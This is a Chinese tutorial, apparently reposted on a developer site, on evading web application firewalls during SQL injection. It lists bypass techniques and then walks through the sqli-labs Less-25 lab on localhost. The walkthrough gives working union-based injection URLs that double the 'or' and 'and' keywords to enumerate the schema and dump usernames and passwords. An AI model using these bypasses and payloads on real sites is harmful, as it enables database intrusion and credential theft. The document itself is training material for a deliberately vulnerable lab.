概述
补充知识:
sql注入waf绕过:
Waf绕过可分为三类:
一、 白盒绕过
通过源代码分析,进行绕过,分析源代码中有哪些转义规则,通过避开这些规则进行注入
二、 黑盒绕过
1、 架构层面绕过waf
(1) 寻找源网站进行waf检测,只要针对云waf,通过直接访问网站真实地址,绕过云waf的检测
(2) 通过同网段绕过waf检测
可能存在与该网站服务器在同一网段的主机,没有进行waf防护,我们可以通过对该主机进行入侵,获取权限后,利用该主机访问服务器,这时因为在内网,因此可能没有很高的防护,我们可以获取数据。
2、 资源限制角度绕过waf
一般waf的执行需要优先考虑业务优先的原则,所以对超大数据包可能不会进行检测,我们可以利用此原则,构造超大数据包进行绕过waf
3、 协议层面绕过waf
(1) 协议未覆盖绕过waf
可能由于业务需要,只对get型进行检测,post型选择忽略
(2) 参数污染
可能存在:index?id=1&id=2 waf只对id=1进行检测
4、 规则层面的绕过waf
(1) sql注释符绕过
union/* /select,可在注释符中添加注入语句
内联注释/!union select*/
(2) 空白符绕过
Mysql空白符%09、%0A;%0B
(3) 函数分割符绕过
比如使用一个空格分割concat()函数,concat%25A0(),
(4) 浮点数词法解释
Waf对id=1检测,可能对id=1E0、id=1.0没有检测
(5) 利用错误注入
(6) Mysql特殊语法
(7) 大小写绕过
Or AnD UnIoN
(8) 关键字重复
or->OorR
(9) 关键字绕过
And->&& or->|| =->like
Less-25 waf绕过or
提示我们通过id注入
首先测试注入点
http://127.0.0.1/sqli-labs-master/Less-25/?id=1 返回正常并且有回显
http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ 报错
http://127.0.0.1/sqli-labs-master/Less-25/?id=1’–+ 正常
这里找到注入点,闭合方式为’’,下面我们开始注入
判断字段列数:
http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ order by 4–+ 有报错,但是与我们在之前遇到的不一样,这里显示语法错误。
我们看一下提示部分:
Order变成了der,说明将or转义成了空字符
我们使用大小写转换试一下:
http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ Order by 4–+ 同样报错
使用关键字重复
http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ oorrder by 4–+
回显错误正常,说明关键字重复有效
获取回显位置:
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1’ union select 1,2,3–+
通过在位置3回显数据,获取当前数据库:
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1’ union select 1,2,database()–+
获取所有数据库:
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1’ union select 1,2,(select group_concat(schema_name) from infoorrmation_schema.schemata)–+
注意:information中的or也需要双写
获取security库中的表:
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1’ union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479)–+
获取users中的字段:
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1’ union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273)–+
返回错误
提示中and被转义成空白字符
我们双写and
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1’ union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=0x7365637572697479 anandd table_name=0x7573657273)–+
获取username和password
注意:password中的or也需要双写
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1’ union select 1,2,(select group_concat(concat(username,0x7e,passwoorrd)) from security.users )–+
Less-25a与less-25类似,都是需要双写关键字进行注入,唯一不同是less-25a没有闭合,直接使用id=1 union select --+ 即可
最后
以上就是现代康乃馨为你收集整理的sqli-labs-less-25 get型waf绕过 or and 关键字重复的全部内容,希望文章能够帮你解决sqli-labs-less-25 get型waf绕过 or and 关键字重复所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复